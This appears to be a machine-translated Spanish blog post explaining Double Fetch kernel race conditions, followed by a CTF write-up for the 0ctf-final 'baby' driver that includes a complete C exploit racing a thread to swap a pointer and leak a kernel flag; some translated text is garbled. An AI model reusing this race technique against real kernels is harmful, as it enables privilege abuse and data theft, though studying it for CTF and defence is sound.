Vulnerabilidad de carrera de condiciones Double Fetch

prefacio

Double Fetch (Double Fetch) es una vulnerabilidad de competencia condicional. Los documentos relacionados se publican en USENIX. Enlace al documento: https://www.usenix.org/system/files/conference/usenixsecurity17/sec17-wang.pdf

Doble búsqueda

Double Fetch es un tipo de vulnerabilidad del kernel que ocurre cuando el kernel copia datos del espacio del usuario y accede dos veces a la misma parte de la memoria. Como se muestra en la figura a continuación (la imagen es del artículo), cuando el núcleo copia datos del espacio del usuario, la primera copia realizará controles de seguridad y los datos se usarán solo cuando se haga la segunda copia, luego entre la primera copia y la segunda copia Es posible la manipulación malintencionada de datos. Por ejemplo, la longitud que se va a copiar se obtiene del espacio del usuario la primera vez y se verifica la longitud, pero la longitud se copia nuevamente durante la segunda copia y los datos se copian de acuerdo con la longitud. Sin embargo, la longitud en este momento no se ha comprobado, por lo que cuando se modifica la longitud entre la primera copia y la segunda copia, se producirá una vulnerabilidad. Esta vulnerabilidad se llama Double Fetch.

imagen-20230713134722390

El autor del artículo resume la situación en la que es probable que se produzca una doble búsqueda, como se muestra en la siguiente figura (imagen del artículo). Por lo general, el proceso de usuario se comunica con el núcleo a través de un formato de mensaje específico, y el formato del mensaje generalmente consiste en un encabezado y un cuerpo de mensaje. El encabezado del mensaje contiene algunas propiedades especiales, como la longitud del mensaje, el tipo del mensaje, etc. Luego, el kernel generalmente saca el encabezado del mensaje y ejecuta diferentes ramas de acuerdo con la información en el encabezado del mensaje. Si después de ingresar a la rama, el kernel todavía extrae el encabezado del mensaje y usa los campos usados ​​anteriormente, es muy fácil que ocurra una doble recuperación, porque el programa en modo usuario puede modificar el encabezado del mensaje durante los dos procesos de extracción.

imagen-20230713140815577

El autor clasifica la escena según el Double Fetch

  • selección de tipo
  • control de longitud
  • copia superficial

selección de tipo

Se selecciona el tipo Double Fetch, como se muestra a continuación (la imagen es del periódico). Código interceptado de cxgb3 main.c. Se puede ver que el siguiente código primero copia datos de él a través de lacopy_from_user función y es la dirección del espacio de usuario. Los procesos subsiguientes serán seleccionados para su ejecución en base a los datos extraídos de ellos . Y en cada sucursal se sacan los datos de la dirección a través de la función para su posterior procesamiento. Si se reutiliza en un procesamiento posterior , causará .useraddrcmduseraddruseraddrcopy_from_useruseraddrcmdDouble Fetch

imagen-20230713142023576

selección de longitud

Se selecciona la longitud Double Fetch, como se muestra a continuación (la imagen es del periódico). Esto es evidente cuando se hace la primera copia tomando los datos copy_from_userde él , y repitiendo el proceso la segunda vez . Si el valor se modifica entre dos extracciones y los datos se envían a través de la función, dará lugar al envío de la vulnerabilidad, es decir, se puede filtrar una cantidad de datos mayor que el valor original.argheader.SizeDouble Fetchheader.Sizeaac_fib_sendheader.Size

imagen-20230713143534035

copia superficial

La copia superficial es la primera copia que simplemente copia el puntero a los datos del usuario en el kernel y luego copia los datos del usuario más tarde. Como se muestra a continuación (la imagen proviene del papel). La primera adquisición es a través del puntero que apunta al puntero de los datos del usuario, y la segunda adquisición también se realiza de esta manera, luego modificando el apuntado del puntero en el intervalo entre el primero y el segundo hará que se modifiquen los datos. .

imagen-20230713144330557

Por ejemplo, cuando se copia el kernel, la dirección que puede leer los datos del usuario no se copia, pero se copia la dirección que apunta a la dirección, que se muestra en la figura a continuación, por lo que cuando el kernel posterior lee datos, es ptrsiempre Al ptrobtener, el puntero se modifica en medio de las dos adquisiciones ptr, y se puede hacer que el núcleo apunte a datos maliciosos.

archivo sin titulo

Resumir el proceso de utilización de Double Fetch

  • El kernel obtendrá datos del espacio del usuario y obtendrá datos del mismo espacio dos veces
  • En el proceso de dos adquisiciones, no se verifica si los datos adquiridos son consistentes
  • Finalmente, en el proceso de dos adquisiciones, los datos en este espacio son manipulados

‍Ayuda a estudiar ciberseguridad, obtén un conjunto completo de información S letter gratis:
① Mapa mental de la ruta de crecimiento del aprendizaje de ciberseguridad
② Más de 60 kits de herramientas de ciberseguridad clásicas
③ Más de 100 informes de análisis SRC
④ Más de 150 libros electrónicos de tecnología práctica de defensa y ataque de ciberseguridad
⑤ Lo más Guía de examen de certificación CISSP autorizada + Banco de preguntas
⑥ Más de 1800 páginas del Manual de habilidades prácticas de CTF
⑦ La última colección de preguntas de entrevistas de empresas de seguridad de redes (incluidas las respuestas)
⑧ Guía de pruebas de seguridad de clientes de aplicaciones (Android+IOS)

20180ctf-final-bebé

Enlace del tema: https://github.com/h0pe-ay/Kernel-Pwn/tree/master/0ctf-final-baby

baby_ioctlHay una función en el módulo , si rsise emitirá el valor de 0x6666 flag, porque se pasa printk, necesita pasar dmesgla salida, si rsies 0x1337, pasará una función de verificación, si pasa el proceso de verificación, flagel valor de Se compara el contenido de la dirección entrante, si el contenido es exactamente el mismo, se emitirá flagdirectamente y también se pasará la salida printk, por lo que debe dmesgimprimirse.

imagen-20230713151512178

Luego mire la función de verificación, que es muy simple y acepta tres parámetros, a1, a2, a3, si a1 + a2 < a3pasa la verificación. El valor de a1 es lo que controlamos, es decir, rdxel valor del registro, y a3el valor de a1 se &current_taskobtiene a través de .

imagen-20230713151905552

Se puede encontrar que la dirección obtenida &current_taskde0x7ffffffff000

imagen-20230713153756972

La siguiente figura muestra la distribución de direcciones del espacio del usuario, que puede verse 0x7ffffffff000como la dirección final, por lo que la prueba pasará incluso si la dirección entrante es una dirección del espacio del usuario, pero la dirección del espacio del kernel entrante no pasará.

imagen-20230713154124891

La razón de esto es que flagla cadena está codificada en el controlador.Si el contenido del espacio del núcleo se puede leer, ¿se puede leer directamente? Por lo tanto, esta pregunta es aislada.

imagen-20230713154417553

Entonces esta pregunta se puede utilizar Double Fetchpara la utilización, centrándose en la parte de detección. El conductor realizará tres detecciones

  • Compruebe si la dirección entrante es la dirección del espacio de usuario
  • Compruebe si el valor del contenido de la dirección entrante es la dirección del espacio del usuario
  • Compruebe si la longitud pasada es flagconsistente con la longitud de

En general, pasamos una estructura desde el espacio del usuario

typedef struct
{
    
    
    char *flag_addr;
    unsigned long flag_len;
};

imagen-20230713154600216

Puede ver que la dirección del espacio de usuario se obtiene durante la detección de la pregunta v5, y luego la dirección del espacio de usuario se obtiene nuevamente durante el proceso de bucle.Durante v5las dos adquisiciones, no se compara si el valor se ha modificado. , por lo que conducirá a arriba Double Fetch.

La idea de usar es la siguiente

  • En la fase de detección, v5utilizamos el valor de la variable del espacio de usuario para la asignación, a saberv5 = buf
  • Al entrar en la etapa de comparación, v5usamos flagel valor de la dirección para asignar el valor del valor, es decirv5 = flag

Entonces, ¿cómo obtener el punto de tiempo de entrada en la etapa de comparación? Puede ver que incluso si la comparación falla, no habrá excepción sino un simple retorno. Por lo tanto, podemos iniciar un hilo y modificarlo continuamente v5 = flag.

...
void *
rewrite_flag_addr(void *arg)
{
    
    
	pdata data = (pdata)arg;
	while(finish == 0)
	{
    
    
		data->flag_addr = (char *)target_addr;
		//printf("%p\n",data_flag.flag_addr);
	}
}
...
err = pthread_create(&ntid, NULL, rewrite_flag_addr, &data_flag);
...

El proceso específico es como se muestra en la figura a continuación, la razón para usar subprocesos aquí

  • El subproceso principal y el subproceso secundario se ejecutan de forma asíncrona
  • información de memoria compartida entre subprocesos

Por lo tanto, se pueden usar otros hilos para modificar la memoria compartida.

archivo sin título(1)

experiencia completa

#include <stdio.h>
#include <fcntl.h>
#include <string.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <pthread.h>

#define MAXSIZE 1024
#define MAXTIME 1000000

unsigned long target_addr;
int finish;
typedef struct 
{
    
    
	char* flag_addr;
	unsigned long flag_len;
}data, *pdata;
data data_flag;
int fd;

void *
rewrite_flag_addr(void *arg)
{
    
    
	pdata data = (pdata)arg;
	while(finish == 0)
	{
    
    
		data->flag_addr = (char *)target_addr;
		//printf("%p\n",data_flag.flag_addr);
	}
}


int main()
{
    
    
	fd = open("/dev/baby", O_RDWR);
	__asm(
		".intel_syntax noprefix;"
		"mov rax, 0x10;"
		"mov rdi, fd;"
		"mov rsi, 0x6666;"
		"syscall;"
		".att_syntax;"
	);	
	
	char buf[MAXSIZE];
	char *target;
	int count;
	int flag = open("/dev/kmsg", O_RDONLY);
	if (flag == -1)
		printf("open dmesg error");
	while ((count = read(flag, buf, MAXSIZE)) > 0)
	{
    
    
		if ((target = strstr(buf, "Your flag is at ")) > 0)
		{
    
    
			target = target + strlen("Your flag is at ");
			char *temp = strstr(target, "!");
			target[temp - target] = 0;
			target_addr = strtoul(target, NULL, 16);
			printf("flag address:0x%s\n",target);
			printf("flag address:0x%lx\n", target_addr);
			break;
		}
	}	
	data_flag.flag_addr = buf;
	data_flag.flag_len = 33;
	pthread_t ntid;
	int err;
	err = pthread_create(&ntid, NULL, rewrite_flag_addr, &data_flag);	
	for (int i = 0; i < MAXTIME; i++)
	{
    
    
		ioctl(fd, 0x1337, &data_flag);
		data_flag.flag_addr = buf;
		//printf("%d\n",i);
	}
	finish = 1;
	pthread_join(ntid, NULL);
	printf("end!");
	//system("dmesg | grep flag");
}

Supongo que te gusta

Origin blog.csdn.net/qq_38154820/article/details/132204512
Recomendado
Clasificación